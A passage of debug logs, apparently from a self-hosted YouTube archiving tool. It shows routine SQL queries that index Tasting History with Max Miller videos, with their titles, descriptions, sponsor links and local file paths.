\u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "Eating Like a Victorian Workhouse Inmate - Scouse & Suet Dumplings", "zjMQgMshYM8", "https://www.youtube.com/watch?v=zjMQgMshYM8", nil, false, "/downloads/Tasting History with Max Miller/2026-01-20 Eating Like a Victorian Workhouse Inmate - Scouse & Suet Dumplings/Eating Like a Victorian Workhouse Inmate - Scouse & Suet Dumplings [zjMQgMshYM8].NA", false, 3, ~U[2026-01-20 00:00:00Z]] 02:51:40.694 [debug] QUERY OK source="sources" db=0.2ms idle=4.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:40.695 [debug] QUERY OK source="media_items" db=1.0ms idle=3.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-13 00:00:00Z], 3] 02:51:40.696 [debug] QUERY OK source="media_items" db=0.8ms idle=4.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Thank you Wildgrain for sponsoring. Visit https://wildgrain.com/tastinghistory and use code \r“TASTINGHISTORY” at checkout to receive $30 your first box + free croissants for life!\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "The Pastry War - When France invaded Mexico over pastry", "d5ddf21c-6eb7-4b8d-97d4-40076556520a", "J0OHUwVLPdM", "https://www.youtube.com/watch?v=J0OHUwVLPdM", false, false, 11, "/downloads/Tasting History with Max Miller/2026-01-13 The Pastry War - When France invaded Mexico over pastry/The Pastry War - When France invaded Mexico over pastry [J0OHUwVLPdM].NA", false, false, 3, [], 98, ~U[2026-01-13 00:00:00Z], ~U[2026-03-30 06:51:40Z], ~U[2026-03-30 06:51:40Z], "Thank you Wildgrain for sponsoring. Visit https://wildgrain.com/tastinghistory and use code \r“TASTINGHISTORY” at checkout to receive $30 your first box + free croissants for life!\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "The Pastry War - When France invaded Mexico over pastry", "J0OHUwVLPdM", "https://www.youtube.com/watch?v=J0OHUwVLPdM", nil, false, "/downloads/Tasting History with Max Miller/2026-01-13 The Pastry War - When France invaded Mexico over pastry/The Pastry War - When France invaded Mexico over pastry [J0OHUwVLPdM].NA", false, 3, ~U[2026-01-13 00:00:00Z]] 02:51:40.696 [debug] QUERY OK source="sources" db=0.2ms idle=4.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:40.698 [debug] QUERY OK source="media_items" db=1.0ms idle=3.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-06 00:00:00Z], 3] 02:51:40.699 [debug] QUERY OK source="media_items" db=0.9ms idle=4.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["There’s no better time to try out Thrive Market! With their New Year Sale you’ll get 30% off top products PLUS when you use my link http://thrivemarket.com/MaxMiller you’ll get an extra 30% off your first order AND a FREE gift worth up to $60! Kickstart your new year & stock up now!\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "Beef Bourguignon for the French Peasants from 1885", "1895d7d8-6617-419f-b650-7d6b26a10eb2", "cQYswc4-dvU", "https://www.youtube.com/watch?v=cQYswc4-dvU", false, false, 12, "/downloads/Tasting History with Max Miller/2026-01-06 Beef Bourguignon for the French Peasants from 1885/Beef Bourguignon for the French Peasants from 1885 [cQYswc4-dvU].NA", false, false, 3, [], 98, ~U[2026-01-06 00:00:00Z], ~U[2026-03-30 06:51:40Z], ~U[2026-03-30 06:51:40Z], "There’s no better time to try out Thrive Market! With their New Year Sale you’ll get 30% off top products PLUS when you use my link http://thrivemarket.com/MaxMiller you’ll get an extra 30% off your first order AND a FREE gift worth up to $60! Kickstart your new year & stock up now!\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "Beef Bourguignon for the French Peasants from 1885", "cQYswc4-dvU", "https://www.youtube.com/watch?v=cQYswc4-dvU", nil, false, "/downloads/Tasting History with Max Miller/2026-01-06 Beef Bourguignon for the French Peasants from 1885/Beef Bourguignon for the French Peasants from 1885 [cQYswc4-dvU].NA", false, 3, ~U[2026-01-06 00:00:00Z]] 02:51:40.699 [debug] QUERY OK source="sources" db=0.2ms idle=4.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:40.701 [debug] QUERY OK source="media_items" db=1.0ms idle=3.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-30 00:00:00Z], 3] 02:51:40.705 [debug] QUERY OK source="media_items" db=3.5ms idle=4.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Order the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\nApicius De Re Coquinaria - https://amzn.to/3MN5u2j\nGarum - https://amzn.to/49ilamR\nDefrutum - https://amzn.to/3MKu9Vc\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nLegionaries carrying pila - By CristianChirita - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nCorbulo - By Basvb - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nDocuments from Vindolanda - By Fæ, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nVindolanda - By Mike Bishop - https://www.flickr.com/photos/thearma..., CC BY-SA 2.0, https://commons.wikimedia.org/w/index...\nGarum Bottle - By Claus Ableiter - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nArte Romana, preparing food - I, Sailko, CC BY-SA 3.0 https://creativecommons.org/licenses/..., via Wikimedia Commons\n\n#tastinghistory", "Feeding A Roman Centurion - Pork & Puls", "2506249a-ce3d-4ba9-88a6-ffa0e9626b2f", "1fDKx1CgcXs", "https://www.youtube.com/watch?v=1fDKx1CgcXs", false, false, 13, "/downloads/Tasting History with Max Miller/2025-12-30 Feeding A Roman Centurion - Pork & Puls/Feeding A Roman Centurion - Pork & Puls [1fDKx1CgcXs].NA", false, false, 3, [], 98, ~U[2025-12-30 00:00:00Z], ~U[2026-03-30 06:51:40Z], ~U[2026-03-30 06:51:40Z], "Order the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\nApicius De Re Coquinaria - https://amzn.to/3MN5u2j\nGarum - https://amzn.to/49ilamR\nDefrutum - https://amzn.to/3MKu9Vc\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nLegionaries carrying pila - By CristianChirita - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nCorbulo - By Basvb - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nDocuments from Vindolanda - By Fæ, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nVindolanda - By Mike Bishop - https://www.flickr.com/photos/thearma..., CC BY-SA 2.0, https://commons.wikimedia.org/w/index...\nGarum Bottle - By Claus Ableiter - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nArte Romana, preparing food - I, Sailko, CC BY-SA 3.0 https://creativecommons.org/licenses/..., via Wikimedia Commons\n\n#tastinghistory", "Feeding A Roman Centurion - Pork & Puls", "1fDKx1CgcXs", "https://www.youtube.com/watch?v=1fDKx1CgcXs", nil, false, "/downloads/Tasting History with Max Miller/2025-12-30 Feeding A Roman Centurion - Pork & Puls/Feeding A Roman Centurion - Pork & Puls [1fDKx1CgcXs].NA", false, 3, ~U[2025-12-30 00:00:00Z]] 02:51:40.705 [debug] QUERY OK source="sources" db=0.2ms idle=7.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:40.706 [debug] QUERY OK source="media_items" db=1.1ms idle=6.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-23 00:00:00Z], 3] 02:51:40.708 [debug] QUERY OK source="media_items" db=1.5ms idle=5.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Get 40% off your first Hungryroot box PLUS get a free item of your choice in every box for life with code TASTINGHISTORY at https://bit.ly/3DhydYp\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\nIn the Land of Ninkasi by Tate Paulette - https://amzn.to/49hDzAd\nTable of Gods - https://www.tableofgods.com/\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nJehu King of Israel is seen kneeling before King Shalmaneser III of Assyria offering him tribute. This relief is part of Black Obelisk of Shalmaneser III in the British Museum. Photo Credit: Steven G. Johnson / Wikimedia Commons / CC-BY-SA-3.0 \nAshurnasirpal on the throne - By Anthony Huan - https://www.flickr.com/photos/anthony..., CC BY-SA 2.0, https://commons.wikimedia.org/w/index...\nAssyria Map: By John D. Croft at English Wikipedia, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nThe Bronze Age Collapse Map - Simon Netchev, Creative Commons, https://www.worldhistory.org/image/15...\nEngravings of the brass gates of Balawat: By Mohmmd Abd - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index... \nZiggurat of Assur: By Fakhri Mahmood - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index...\n\n#tastinghistory", "Brewing 3,000 Year-Old Ancient Mesopotamian Beer", "c74e36b6-fa38-4cb4-8b4f-064e99b05b4b", "MO0lKDNKxmE", "https://www.youtube.com/watch?v=MO0lKDNKxmE", false, false, 14, "/downloads/Tasting History with Max Miller/2025-12-23 Brewing 3,000 Year-Old Ancient Mesopotamian Beer/Brewing 3,000 Year-Old Ancient Mesopotamian Beer [MO0lKDNKxmE].NA", false, false, 3, [], 98, ~U[2025-12-23 00:00:00Z], ~U[2026-03-30 06:51:40Z], ~U[2026-03-30 06:51:40Z], "Get 40% off your first Hungryroot box PLUS get a free item of your choice in every box for life with code TASTINGHISTORY at https://bit.ly/3DhydYp\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\nIn the Land of Ninkasi by Tate Paulette - https://amzn.to/49hDzAd\nTable of Gods - https://www.tableofgods.com/\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nJehu King of Israel is seen kneeling before King Shalmaneser III of Assyria offering him tribute. This relief is part of Black Obelisk of Shalmaneser III in the British Museum. Photo Credit: Steven G. Johnson / Wikimedia Commons / CC-BY-SA-3.0 \nAshurnasirpal on the throne - By Anthony Huan - https://www.flickr.com/photos/anthony..., CC BY-SA 2.0, https://commons.wikimedia.org/w/index...\nAssyria Map: By John D. Croft at English Wikipedia, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nThe Bronze Age Collapse Map - Simon Netchev, Creative Commons, https://www.worldhistory.org/image/15...\nEngravings of the brass gates of Balawat: By Mohmmd Abd - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index... \nZiggurat of Assur: By Fakhri Mahmood - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index...\n\n#tastinghistory", "Brewing 3,000 Year-Old Ancient Mesopotamian Beer", "MO0lKDNKxmE", "https://www.youtube.com/watch?v=MO0lKDNKxmE", nil, false, "/downloads/Tasting History with Max Miller/2025-12-23 Brewing 3,000 Year-Old Ancient Mesopotamian Beer/Brewing 3,000 Year-Old Ancient Mesopotamian Beer [MO0lKDNKxmE].NA", false, 3, ~U[2025-12-23 00:00:00Z]] 02:51:40.709 [debug] QUERY OK source="sources" db=0.1ms idle=4.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:40.710 [debug] QUERY OK source="media_items" db=1.0ms idle=3.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-19 00:00:00Z], 3] 02:51:40.711 [debug] QUERY OK source="media_items" db=1.1ms idle=3.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Order the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nWatch Christiaan make a chocolate wine pie here: \n\nhttps://www.instagram.com/reel/DSc2hz...\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nChocolate Kitchen at Hampton Court - Joyofmuseums, CC BY-SA 4.0 https://creativecommons.org/licenses/..., via Wikimedia Commons\n\n#tastinghistory", "Chocolate Wine from 1723", "008f1228-9b20-4ff6-a8a8-01b22b933f84", "0XHVOnKrk0I", "https://www.youtube.com/watch?v=0XHVOnKrk0I", false, false, 15, "/downloads/Tasting History with Max Miller/2025-12-19 Chocolate Wine from 1723/Chocolate Wine from 1723 [0XHVOnKrk0I].NA", false, false, 3, [], 98, ~U[2025-12-19 00:00:00Z], ~U[2026-03-30 06:51:40Z], ~U[2026-03-30 06:51:40Z], "Order the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nWatch Christiaan make a chocolate wine pie here: \n\nhttps://www.instagram.com/reel/DSc2hz...\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nChocolate Kitchen at Hampton Court - Joyofmuseums, CC BY-SA 4.0 https://creativecommons.org/licenses/..., via Wikimedia Commons\n\n#tastinghistory", "Chocolate Wine from 1723", "0XHVOnKrk0I", "https://www.youtube.com/watch?v=0XHVOnKrk0I", nil, false, "/downloads/Tasting History with Max Miller/2025-12-19 Chocolate Wine from 1723/Chocolate Wine from 1723 [0XHVOnKrk0I].NA", false, 3, ~U[2025-12-19 00:00:00Z]] 02:51:40.712 [debug] QUERY OK source="sources" db=0.1ms idle=4.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:40.713 [debug] QUERY OK source="media_items" db=1.0ms idle=3.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-16 00:00:00Z], 3] 02:51:40.714 [debug] QUERY OK source="media_items" db=0.9ms idle=4.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Thank you to Bombas for sponsoring this video! Head to https://bombas.yt.link/0xWsLEg and use code tastinghistory20 at checkout for 20% off your first purchase.\n\nWatch GeanaVlogger’s video on my family history here - \u00A0\u00A0\u00A0•\u00A0From\u00A0Guerrilla\u00A0Fighter\u00A0to\u00A0U.S.\u00A0Citizen:\u00A0Ma...\u00A0\u00A0\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► 